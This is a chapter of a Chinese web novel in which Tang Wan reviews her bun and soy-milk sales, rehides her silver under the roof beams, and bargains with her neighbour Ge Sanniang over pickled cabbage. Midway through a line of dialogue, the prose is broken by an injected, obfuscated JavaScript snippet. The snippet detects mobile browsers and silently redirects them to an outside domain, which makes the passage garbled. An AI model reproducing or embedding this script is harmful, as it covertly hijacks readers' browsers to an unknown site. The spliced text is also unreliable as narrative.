巷子里卖豆浆倒方便,家家户户愿买的,自个儿端着碗盆来盛就行。但到了集市上就不一样了,若不是正好身上带着空葫芦水囊,没几个乐意买的。 唐宛也料到这个,干脆不往那边去,继续带着唐睦走街串巷。又走了两条巷子,才把剩下的豆浆都卖出去。 要是能有像现代那种可以随时带走的外卖杯子就好了,想来想去,这年头可能可以替代的,就是竹筒或葫芦了。 不过这东西做起来却不容易,也是一笔不小的开支,费时费力的,感觉不太划算。 看来卖豆浆没有预想得那么简单。 这也是试卖的意义所在,发现问题就及时调整。 试了才知道,做包子和豆浆都离不得人,量少时还好,量大时怕是两头难以兼顾,加上卖豆浆的各种不便利,唐宛当即打定主意,以后早餐还是单做包子一样。 估算每日的数量,单卖早上这一阵,一次做多些,卖完了就不管了。 豆浆便不再一起售卖了,还是可以做,自家留出来一些喝着,剩下的还是用来点豆腐。 点过卤的豆浆可以做豆花、做豆腐、豆干等等,卖起来就方便多了。 不管是走街串巷还是在集市上摆摊,都简单得多,也更省力。 20. 三娘酸菜 到家后,时间还早,姐弟俩便倒了杯水喝,简单算了算今儿的收入。 “包子一共卖了六十四文,豆浆除了试喝的,正经卖出去二十碗,一共八十四文。” 因为只是试卖,没指着卖多少钱,这些收益听着也不错。 但细细一算,还是能看出一些端倪来。 包子的成本可不少。鸡蛋用了十个,差不多十文;肉价虽贵,却不是主料,只用了半斤,还是占了大头,约二十文。酸菜是葛婶子送的,暂时不计入成本,再就是面粉、醪糟、碱水、柴禾之类的,零零碎碎不好单算,合起来多少也得算上几文。 倒是豆浆没多少花费,只用了三碗黄豆,加上柴禾合起来也不到五文钱。 乍一对比,好像是卖豆浆更划算。可事实上,今早包子只卖出去三十二个,是因为头一屉连搭带送没怎么算进去。正常做满三屉,能卖四十五个,那就是九十文,成本三十文,净赚六十文,卖价是成本的三倍。 豆浆成本低,做起来却十分麻烦。这个家用的石磨谁用谁知道,磨三碗豆子姐弟俩倒了好几次手,煮的时候不错眼盯着且不说,卖完了回来刷锅也是一大难题。 这年代可没什么不粘锅,家里的大铁锅煮完豆浆,锅底糊了一层,带来的焦香味固然风味十足,刷起来却怀疑人生。 相比之下,做包子倒清爽多了。只需把垫在笼屉底部的粗麻屉布洗净,蒸屉刷一刷就好。 但是想要挣钱,哪有不累的?不过是怎么分配时间罢了。 早上时间并不充裕,做两样着实不能兼顾。唐宛跟弟弟说了自己的计划:“明儿起早上只做包子,剩下的白天再做。” 她后半句说得含糊,没提做豆腐的事儿。 毕竟唐睦还不知道她有这手艺,等真做出来再找由头解释也不迟。 唐睦自然没有意见,阿姊怎么说就怎么定。更何况他也亲身体验了,早上只是少量试做,便已经忙成那样。 “那么今日还是照原计划,你去集市上摆摊,我去采买原材料。” 唐宛这般安排,想了想又说:“你今日起得早,午间回来歇个晌吧。” 唐睦却道:“我不累!” 见唐宛不太放心,便道:“倘若摊子上没人,我就坐在边上小憩一会儿,省得来回跑。” “这样也行。”半大不小的孩子,不能因为做这些把身体给耽误了。 说到采买,今日得的八十四文,加上昨天唐睦写信带回家的五十几个钱,他们手头上总共只剩下一百四十多文。 其实昨日采买材料的时候,就已经捉襟见肘,唐宛身上的银钱已经用尽,还用了几个唐睦钱袋子里的钱。 唐睦便提议:“要不要把先前埋的银子起出来些?这样采买的时候也宽裕些。” 上次从陈家拿回来的银子,大头的三十两被藏在后院枣树下。 唐宛略一盘算,若想把卖包子当成正经营生,就不能再像今日这般小打小闹,原材料必然得跟上。 眼下肉价虽有起伏,大致在三十到四十文一斤之间。即便把手头这点钱全都拿来买肉,也不过四五斤。若是自家吃还算富裕,但若是拿来做买卖,却根本不够看的。 况且光有肉也不成,还得搭配酸菜、鸡蛋之类的佐料。 家中这些原先备下的已所剩无几,明早用的馅料都得现买。更别说包子不能只卖一种口味,不同的馅料都各要采买,又是一笔花销。 当初将银子藏起来,是防备着被人惦记,并非为了不得动用。眼下正是该用钱之际,唐宛没有多犹豫,便点头道:“那就先取些出来用吧。” 姐弟俩于是将院门插上,拿了锄头往后院走。刻意左右都看了看,确定四下无人,才来到枣树下,悄悄挖出了装银子的瓦瓮。 掀开盖子略看了一眼,见里头还是当初用钱袋装好的样子,便直接抱进屋里。 将钱袋取出来一看,几十个形状各异的碎银子,并无减少。 “拿多少?”唐睦问。 唐宛思忖道:“先拿个一角小的用着就好,倒不必太多。” 唐睦也点头:“阿姊要是打定主意做这个生意,怕是要经常用钱,总不能老去院子里起坛子,久了怕人瞧出端倪。” 唐宛也是这样的想法。 从前他们没注意,还是上次两人在菜地里忙活,葛三娘隔墙指导了几句,才叫他们意识到,自家后院其实并不隐蔽。 并非他们信不过葛三娘,只是藏银子这等事,当然得只自家人知晓。 坛子既然起出来了,自然得换个地方藏。 姐弟俩在屋里左瞧右看。 藏在寻常瓦罐里自然是难以放心的,姐弟俩经常不在家,万一哪天家里进来个小贼,顺手就给摸走了。 不过唐家这房子墙壁和地面都是泥土夯成,想抽出一块砖来是没可能,地上挖洞也会很明显,一时半会儿倒是犯了难。 唐宛想了想,忽地抬头望向屋顶。 他们家的房屋不是不高,堂屋在中间,稍高些,东西两个房间矮了不少。尤其唐宛睡的那间,站到炕上踮着脚,手指能摸到屋梁。 横梁和瓦片之间,有约莫拳头大小的缝隙,这缝隙铜钱放不了多少,但二三十两碎银,小袋子系紧了勉强能塞进去。 “这地方好,阿姊晚上睡觉都能看着。”唐宛小声道。 唐宛点了点头,却有些担心。 “这袋子会不会被虫鼠咬了?” 埋在地下就不必担心这个。 “里头又没吃食,应该没事。”唐睦道。 唐宛仔细看了看装银子的袋子,是粗麻制作的,看着很结实。于是决定就先放在这儿。 反正是在自己屋里,不放心就关上门,时不时检查一下便是。 她取了当下要用的部分,剩下的装进袋子小心塞进去,左右调整位置,让唐睦在底下换着角度看,直至看不出任何异样,才下了炕,洗去一手的乌黑。 顺利取了银子,唐睦便照计划去市集摆摊,唐宛则揣了那角碎银,加上原本的百来文铜钱,准备去采买原料。 并没直接去市集,而先去了隔壁葛三娘家。 今日试做的包子效果不错,酸菜鸡蛋肉馅儿的,试吃的时候街坊们都说好,卖得很快,主要是唐宛自己吃着就很喜欢,自然要继续做。 这馅料,鸡蛋和肉倒是好买,酸菜却不能随意。 腌菜是门手艺,各家的做法和口味都不尽相同。想做长久生意,口感方面肯定要有所把控,最好的方案当然是唐宛自己来腌制,只不过眼下这时节,新鲜蔬菜都还没长成,只能靠采买。 这种经过加工的食材,口味如何还在其次,卫生是个首要问题,毕竟入口的东西,万一中间出个什么差错,随时可能有麻烦上门。 唐宛在采购方面吃过亏,前车之鉴,在这方面就格外谨慎。 葛三娘家的酸菜她是亲自吃过的,在邻里间也有不错的口碑,对方的人品她也认可,加之早上才用过,做出来的包子口味确实也很不错,唐宛的首选当然是她家的。 这次谈正事儿,不能隔着院墙随意招呼,唐宛特意走了正门。 葛三娘正坐在院子里择野菜,见她过来,颇有些意外,起身相迎:“宛娘怎么来了,今儿早食卖得怎么样?” “包子卖得快,没出巷子就卖完了,豆浆多跑了两条巷子。”唐宛要她别客气,自来熟地拖来旁边的小杌子坐了帮着一起择野菜,如实回答。 “那敢情好!”葛三娘真心为她感到高兴,“这么说,这门营生确实可以做起来了。” 唐宛露出几分笑意,看向对方:“婶子,早上包子你也买了,可曾吃出什么特别来?” 葛三娘以为她讨夸赞呢,笑着说:“确实特别,特别香!难为你怎么想到的,这个馅儿的包子,婶子还是头一回吃到呢!” 唐宛笑了,问她:“婶子就没吃出,里头酸菜的味儿很熟悉吗?” 葛三娘愣住了,想起前几日自己随手给她的两把酸菜,惊讶道:“难不成是我家的?” 唐宛点了点头,道:“可不?我家的菜坛子上个月就掏空了,所以用了婶子给的。” 葛三娘也笑了:“这倒是没料到,我家的酸菜还有这造化呢!” 葛三娘腌的酸菜确实还不错,色泽金黄,酸香浓郁,吃起来酸脆爽口,街坊邻居都知道她擅长这个,时不时找她要两把,她也乐得做个顺水人情。那日唐宛留她吃了晚食,有肉有汤的,虽是酬谢她帮忙教种地,葛三娘却不舍姐弟俩太破费,回家后思来想去,摸出两把酸菜送了过来。 没想到被唐宛包了包子,做得那么好吃,还能卖出去成为一门营生。 葛三娘不禁生出几分与有荣焉的激动来。 毕竟这酸菜再好吃,也称不上什么贵重东西,她平日里只想到用水浸了,搁点菜籽油炒一炒,搭配稀粥吃。 唐宛却道:“婶子腌的酸菜好吃,我明儿包包子还想继续用着,今日就是特意来问问,婶子家的酸菜有余的吗?能不能卖一些给我?” 葛三娘连忙道:“你用只管来拿好了,街坊邻居的,用不着这么客气。” “那怎么能成?”唐宛正色道,“且不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005625|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说亲兄弟还得明算账,倘若我这包子的生意真能长久做下去,用的酸菜可不是少数,怎么能白拿?婶子若是同意,只求多卖些给我,我猜婶子家可能剩余也不多了。” 葛三娘一听,拍了下大腿,叹道:“确实不太多,只剩两个坛子没开封。” 这个份量比起其他人家已经多出不少了,很多人家都跟唐家一样,开春后就吃的差不多,毕竟春菜很快就要长成,吃了一个冬天干菜、酸菜,大家春上更乐意吃口新鲜的。 唐宛闻言很是惊喜,连忙道:“婶子能带我看看吗?” “这有什么不行的。” 葛三娘放下手里的野荠菜,拍了拍身上的尘土,去井边打水洗了洗手,对唐宛示意跟上,两人一前一后往后院方向走。 葛三娘家跟唐家后院的布局大差不差,也有一个杂物间,里头却有几个半米高的坛子。葛三娘挪开一旁几个空坛,让出最角落的两个坛子,用湿布擦了擦上头的浮灰,把盖子揭开来。 杂物间的光线有些昏暗,葛三娘将罐子微微倾斜,对着门口的亮光让唐宛仔细看。 确实是满满当当刚开封的坛子,里头酸菜的色泽看着就很好,罐子掀开后一股很好闻的酸香味。 唐宛接过葛三娘用筷子捞出的一颗,撕下一条尝了尝,跟她打商量:“婶子,这两坛酸菜,就卖给我呗?” 葛三娘惊讶看向她:“两坛,这么多,你全要?” 唐宛算了算时间,地头的各样蔬菜才种下去没几日,长到能做酸菜的大小,保守估计也得二十来天,腌制成能吃的程度起码也要十来天,更何况酸菜要够味,时间需要更久。 眼前这两坛酸菜虽看着分量不少,但若真按照她的计划每日消耗,可能都撑不到新菜长成。 “婶子舍得的话,当然是全要,越多越好了。” 这话叫葛三娘怔了怔。 如果说一开始葛三娘带她进来还抱着几分分享炫耀自家酸菜成果的意思在,这会儿才是真的把唐宛的认真劲儿听了进去。 “我这两坛酸菜,真能卖钱?”葛三娘仍是有些难以相信。 “当然能!我的包子能卖出去,婶子的酸菜做得好,干净讲究,味道又正,为什么不能卖?” 葛三娘一听,嘴角忍不住上扬。 她有些不好意思地看向唐宛:“那这个……你打算怎么个买法?” 为了瑞哥儿的婚事,葛三娘这几年省吃俭用,不就是为了能多存点儿?听说能卖钱,哪有不乐意的? 这些酸菜是去岁秋末她腌下的,用的全是地里自家种的菜,白菜、芥菜、萝卜,还有嫩豇豆,除了费了些花椒、生姜、盐粒,也就是用了些时间和力气。 这会儿说能拿出去卖钱,她既高兴,又有些不安。 唐宛来前也是认真思索过的。 “婶子这坛子里头的菜有贵有贱,若按去年的菜价折下来,差不多两文钱一斤。但婶子费了心,又腌得这么好,我愿出五文一斤来收,婶子可还满意?” “五文!”葛三娘一惊,连连摆手,“哎哟,那可使不得!你这样做生意,岂不是要做赔本买卖?时下谁家不是盼着吃点新鲜绿菜,腌菜也就冬天没菜,没办法的事。” 她认真想了想:“这样,你就按照原价给我。” 横竖菜都是自家种的,便当作将那些绿菜卖给邻家小娘子了。 唐宛却坚持,“那婶子投入进去的材料和精力怎么算?单是这大小的坛子就值不少钱了吧?婶子能舍得都卖给我,就是帮我了,价还是按我说的来。” 葛三娘哪里肯听,两人好一番讨价还价,却是跟旁人截然不同,竟是卖家嫌贵,买家拼命说服她接受高价,最终双方定下来四文钱一斤。 唐宛预备着称一称旁边空坛子的重量,再称一称满的,两厢相减便是里头酸菜的重量,却被葛三娘没好气地拍了下脑袋。 “你这孩子,往日看你是个精明的,这会儿却一点不想事儿。哪是这样称的?这里头多少卤水?总得把菜捞出来攥干了再称。” 唐宛却道:“婶子您说得也对,只是要真把菜捞出来再放回去,这坛菜怕是放不住。而且我报这个价的时候,已经把卤水的重量算进去了。放心吧,婶子,亏不了!最多就是少赚些,咱做的是长久生意,不求一时暴富,却希望能做出个好口碑。婶子的酸菜好吃,才是最最紧要的。” 葛三娘听了,微微一怔。 她想起早晨喝到豆浆的时候也是,想着提醒她应该多加些水,现在看来,宛娘子未必是不懂经营,但比起短期的暴利,她看中的却是更深远一层的东西。